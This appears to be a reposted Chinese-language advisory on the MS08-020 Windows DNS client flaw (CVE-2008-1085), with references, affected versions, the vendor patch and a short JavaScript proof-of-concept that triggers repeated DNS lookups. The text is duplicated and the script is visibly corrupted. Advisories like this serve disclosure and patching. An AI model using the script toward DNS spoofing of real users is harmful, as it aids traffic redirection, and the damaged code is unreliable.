Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)
程序员文章站
2022-06-28 09:31:15
受影响系统:
Microsoft Windows XP SP2
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows 2000SP4
... 08-10-08...
受影响系统:
microsoft windows xp sp2
microsoft windows vista
microsoft windows server 2003 sp2
microsoft windows server 2003 sp1
microsoft windows 2000sp4
描述:
--------------------------------------------------------------------------------
bugtraq id: 28553
cve(can) id: cve-2008-1085
microsoft windows是微软发布的非常流行的操作系统。
windows dns客户端服务在执行dns查询时,随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的dns请求返回恶意响应,欺骗或重新定向合法位置的internet通讯。
<*来源:amit klein (amit.klein@sanctuminc.com)
链接:http://secunia.com/advisories/29696/
http://marc.info/?l=bugtraq&m=120767868524748&w=2
http://www.trusteer.com/docs/microsoft_windows_resolver_dns_cache_poisoning.pdf
http://www.microsoft.com/technet/security/bulletin/ms08-020.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/ta08-099a.html
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<body>
<script>
var max_n=20;
var n=0;
var x=new image();
x.onerror=loadnext;
x.onload=loadnext;
function loadnext()
{
if (n<max_n)
{
n ;
x.src="http://t-" (new date()).gettime()
"-" n ".domain.site/";
}
}
loadnext();
</script>
</body>
</html>
建议:
--------------------------------------------------------------------------------
厂商补丁:
microsoft
---------
microsoft已经为此发布了一个安全公告(ms08-020)以及相应补丁:
ms08-020:vulnerability in dns client could allow spoofing (945553)
链接:http://www.microsoft.com/technet/security/bulletin/ms08-020.mspx?pf=true
microsoft windows xp sp2
microsoft windows vista
microsoft windows server 2003 sp2
microsoft windows server 2003 sp1
microsoft windows 2000sp4
描述:
--------------------------------------------------------------------------------
bugtraq id: 28553
cve(can) id: cve-2008-1085
microsoft windows是微软发布的非常流行的操作系统。
windows dns客户端服务在执行dns查询时,随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的dns请求返回恶意响应,欺骗或重新定向合法位置的internet通讯。
<*来源:amit klein (amit.klein@sanctuminc.com)
链接:http://secunia.com/advisories/29696/
http://marc.info/?l=bugtraq&m=120767868524748&w=2
http://www.trusteer.com/docs/microsoft_windows_resolver_dns_cache_poisoning.pdf
http://www.microsoft.com/technet/security/bulletin/ms08-020.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/ta08-099a.html
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<body>
<script>
var max_n=20;
var n=0;
var x=new image();
x.onerror=loadnext;
x.onload=loadnext;
function loadnext()
{
if (n<max_n)
{
n ;
x.src="http://t-" (new date()).gettime()
"-" n ".domain.site/";
}
}
loadnext();
</script>
</body>
</html>
建议:
--------------------------------------------------------------------------------
厂商补丁:
microsoft
---------
microsoft已经为此发布了一个安全公告(ms08-020)以及相应补丁:
ms08-020:vulnerability in dns client could allow spoofing (945553)
链接:http://www.microsoft.com/technet/security/bulletin/ms08-020.mspx?pf=true